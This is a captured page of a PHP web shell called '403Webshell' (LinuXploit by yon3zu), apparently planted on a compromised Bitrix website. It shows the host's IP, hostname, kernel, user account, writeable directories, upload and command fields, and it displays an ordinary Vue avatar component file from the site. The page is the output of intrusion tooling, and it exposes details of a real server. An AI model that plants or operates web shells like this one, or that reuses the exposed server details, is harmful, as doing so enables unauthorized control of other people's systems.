403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/component/elements/avatar/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/component/elements/avatar/src/message-avatar.js
import { UserType } from 'im.v2.const';
import { CopilotManager } from 'im.v2.lib.copilot';
import { Feature, FeatureManager } from 'im.v2.lib.feature';

import { AvatarSize } from './const/const';
import { Avatar } from './components/base/avatar';
import { CollaberAvatar } from './components/collab/collaber';
import { CopilotAvatar } from './components/copilot/copilot';
import { ExtranetUserAvatar } from './components/extranet/extranet-user-avatar';

import type { BitrixVueComponentProps } from 'ui.vue3';
import type { ImModelUser } from 'im.v2.model';

// @vue/component
export const MessageAvatar = {
	name: 'MessageAvatar',
	components: { Avatar, CollaberAvatar, CopilotAvatar },
	props: {
		messageId: {
			type: [String, Number],
			default: 0,
		},
		authorId: {
			type: [String, Number],
			default: 0,
		},
		size: {
			type: String,
			default: AvatarSize.M,
		},
		withAvatarLetters: {
			type: Boolean,
			default: true,
		},
		withSpecialTypes: {
			type: Boolean,
			default: true,
		},
		withSpecialTypeIcon: {
			type: Boolean,
			default: true,
		},
		withTooltip: {
			type: Boolean,
			default: true,
		},
	},
	computed: {
		customAvatarUrl(): string
		{
			const copilotManager = new CopilotManager();
			if (!copilotManager.isCopilotMessage(this.messageId))
			{
				return '';
			}

			return copilotManager.getMessageRoleAvatar(this.messageId);
		},
		user(): ImModelUser
		{
			return this.$store.getters['users/get'](this.authorId, true);
		},
		isCopilotChatsInRecentTabEnabled(): boolean
		{
			return FeatureManager.isFeatureAvailable(Feature.showCopilotChatsInRecentTab);
		},
		avatarComponent(): BitrixVueComponentProps
		{
			const avatarMap = {
				[UserType.extranet]: ExtranetUserAvatar,
				[UserType.collaber]: CollaberAvatar,
			};

			if (this.isCopilotChatsInRecentTabEnabled)
			{
				avatarMap[UserType.bot] = this.getBotAvatar();
			}

			return avatarMap[this.user.type] ?? Avatar;
		},
	},
	methods:
	{
		getBotAvatar(): BitrixVueComponentProps
		{
			const copilotManager = new CopilotManager();

			return copilotManager.isCopilotChatOrBot(this.authorId) ? CopilotAvatar : Avatar;
		},
	},
	template: `
		<component
			:is="avatarComponent"
			:dialogId="authorId"
			:customSource="customAvatarUrl"
			:size="size"
			:withAvatarLetters="withAvatarLetters"
			:withSpecialTypes="withSpecialTypes"
			:withSpecialTypeIcon="withSpecialTypeIcon"
			:withTooltip="withTooltip"
		/>
	`,
};

Youez - 2016 - github.com/yon3zu
LinuXploit